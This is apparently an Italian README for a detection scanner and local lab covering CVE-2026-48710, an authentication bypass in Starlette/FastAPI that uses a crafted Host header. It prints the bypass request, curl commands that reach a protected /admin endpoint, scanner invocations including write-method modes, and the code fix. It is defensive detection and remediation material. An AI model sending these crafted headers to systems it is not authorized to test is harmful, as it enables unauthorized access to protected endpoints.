
Scanner di rilevamento per CVE-2026-48710 - Bypass dell'autenticazione tramite header Host in Starlette/FastAPI
Scanner solo di rilevamento per il bypass di autenticazione BadHost in Starlette / FastAPI — dove il middleware di autenticazione legge request.url.path invece di request.scope["path"], consentendo a un'intestazione Host manipolata di introdurre un percorso consentito e bypassare l'autenticazione.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed
Versione affetta: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Corretto in: Starlette 0.46.2+
https://host/path) — il percorso viene estratto automaticamente come sondaHost e X-Forwarded-Host, due strategie di payload--preset ai) e MCP (--preset mcp)--json, --csvbadhost_vuln_lab/)Include due app FastAPI per la validazione locale:
| App | URL | Lettura auth |
|---|---|---|
| Vulnerabile | http://127.0.0.1:8000 | request.url.path — bypassato |
| Corretta | http://127.0.0.1:8001 | request.scope["path"] — sicuro |
cd badhost_vuln_lab
docker compose up --build
Oppure senza Docker:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidinvia{}per i metodi di scrittura — attiva FastAPI422dopo il bypass dell'autenticazione senza eseguire l'endpoint. Un risultatobaseline=403 test=422è comunque un reperto SOSPETTO che vale la pena indagare.
Non utilizzare--openapi-body-mode minimalin produzione — costruisce corpi di richiesta validi che potrebbero eseguire endpoint di scrittura.
Solo CONFERMATO e SOSPETTO appaiono nell'output. Codice di uscita 2 = CONFERMATO, 1 = SOSPETTO, 0 = pulito.
# Vulnerabile
if request.url.path.startswith("/public"):
...
# Corretto
if request.scope["path"].startswith("/public"):
...
Aggiorna a Starlette 0.46.2+ / FastAPI 0.116.0+.
Solo per test autorizzati. Scansiona solo sistemi di tua proprietà o per i quali hai esplicito permesso di test.
| Verdetto | Significato |
|---|
CONFERMATO | Linea base 401/403 → test 2xx. Vulnerabile. |
SOSPETTO | Linea base 401/403 → test 404/405/422. Il gate di autenticazione sembra essere bypassato; verifica manualmente. 422 da FastAPI è particolarmente significativo. |
RIFIUTATO | Il proxy ha rifiutato l'Host malformato (400/421) prima del bypass |
BLOCCATO | Richiesta manipolata ancora negata |
APERTO | Già accessibile senza autenticazione — non questa CVE |